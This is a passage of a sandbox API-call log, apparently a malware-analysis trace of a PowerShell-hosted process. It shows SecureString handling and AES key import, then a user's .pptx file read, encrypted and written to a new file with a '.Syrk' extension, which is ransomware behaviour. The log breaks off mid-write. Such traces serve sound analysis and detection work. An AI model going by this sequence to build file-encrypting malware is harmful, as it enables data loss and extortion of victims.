(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0230.735] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0230.735] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.735] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0230.735] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.735] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0230.735] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0230.735] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.735] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0230.735] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.735] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0230.735] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0230.735] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.735] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0230.735] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0230.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0230.736] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.736] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0230.736] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0230.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0230.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0230.737] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0230.737] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.737] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0230.737] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.737] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0230.737] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0230.737] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.737] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0230.737] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.737] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0230.737] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0230.737] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.738] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0230.738] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.738] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0230.738] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0230.738] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.738] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0230.738] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.738] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0230.738] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0230.738] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.738] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0230.738] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.739] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0230.739] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0230.739] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.739] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0230.739] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.741] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0230.741] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0230.741] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.741] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0230.741] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.741] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0230.741] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0230.741] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.741] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0230.741] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.741] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0230.742] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0230.742] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0230.742] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0230.742] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.742] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0230.742] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0230.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0230.743] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.743] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0230.743] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0230.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0230.743] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.743] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0230.743] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0230.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0230.743] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.744] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0230.744] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.744] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0230.744] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0230.744] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.744] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0230.744] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.744] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0230.744] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0230.744] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.744] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0230.744] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.745] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0230.745] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0230.745] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.745] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0230.745] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.745] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0230.745] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0230.745] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.745] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0230.745] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.745] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0230.746] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0230.746] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0230.746] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0230.746] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0230.755] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0230.755] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0230.755] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0230.755] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0230.755] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0230.756] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0230.756] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0230.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0230.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0230.756] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0230.756] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0230.756] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0230.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0230.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0230.756] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0230.756] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0230.756] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0230.756] EtwEventActivityIdControl () returned 0x0 [0230.757] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0230.757] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0230.757] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0230.757] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0230.759] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d100) returned 1 [0230.760] CryptImportKey (in: hProv=0x5c4d100, pbData=0x24975e4*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c996e0) returned 1 [0230.760] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0230.761] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.761] EtwEventActivityIdControl () returned 0x0 [0230.761] EtwEventActivityIdControl () returned 0x0 [0230.761] EtwEventActivityIdControl () returned 0x0 [0230.767] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\p9eqvmm.pptx")) returned 0x20 [0230.768] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\p9eqvmm.pptx")) returned 0x20 [0230.768] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0230.768] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", lpFilePart=0x0) returned 0x29 [0230.769] EtwEventActivityIdControl () returned 0x0 [0230.769] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.769] EtwEventActivityIdControl () returned 0x0 [0230.769] EtwEventActivityIdControl () returned 0x0 [0230.769] EtwEventActivityIdControl () returned 0x0 [0230.818] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0230.818] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", lpFilePart=0x0) returned 0x29 [0230.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0230.818] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\p9eqvmm.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0230.818] GetFileType (hFile=0x454) returned 0x1 [0230.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0230.818] GetFileType (hFile=0x454) returned 0x1 [0230.819] EtwEventActivityIdControl () returned 0x0 [0230.819] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.819] EtwEventActivityIdControl () returned 0x0 [0230.819] EtwEventActivityIdControl () returned 0x0 [0230.819] EtwEventActivityIdControl () returned 0x0 [0230.820] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0230.821] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx.Syrk", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx.Syrk", lpFilePart=0x0) returned 0x2e [0230.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0230.821] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\p9eqvmm.pptx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0230.822] GetFileType (hFile=0x458) returned 0x1 [0230.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0230.823] GetFileType (hFile=0x458) returned 0x1 [0230.823] EtwEventActivityIdControl () returned 0x0 [0230.823] CryptGenRandom (in: hProv=0x5c4d100, dwLen=0x10, pbBuffer=0x24a74b8 | out: pbBuffer=0x24a74b8) returned 1 [0230.824] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0230.824] CryptDuplicateKey (in: hKey=0x5c996e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99860) returned 1 [0230.824] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0230.824] CryptSetKeyParam (hKey=0x5c99860, dwParam=0x4, pbData=0x24a87f0*=0x1, dwFlags=0x0) returned 1 [0230.824] CryptSetKeyParam (hKey=0x5c99860, dwParam=0x1, pbData=0x24a87bc, dwFlags=0x0) returned 1 [0230.825] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.825] EtwEventActivityIdControl () returned 0x0 [0230.825] EtwEventActivityIdControl () returned 0x0 [0230.825] EtwEventActivityIdControl () returned 0x0 [0230.826] EtwEventActivityIdControl () returned 0x0 [0230.827] ReadFile (in: hFile=0x454, lpBuffer=0x24ab42c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24ab42c*, lpNumberOfBytesRead=0x5a2e7d8*=0xf690, lpOverlapped=0x0) returned 1 [0230.828] CryptEncrypt (in: hKey=0x5c99860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24bf444*, pdwDataLen=0x5a2e7cc*=0xf690, dwBufLen=0xf690 | out: pbData=0x24bf444*, pdwDataLen=0x5a2e7cc*=0xf690) returned 1 [0230.829] WriteFile (in: hFile=0x458, lpBuffer=0x24a75a0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24a75a0*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0230.831] WriteFile (in: hFile=0x458, lpBuffer=0x24c0430*, nNumberOfBytesToWrite=0xe6a4, 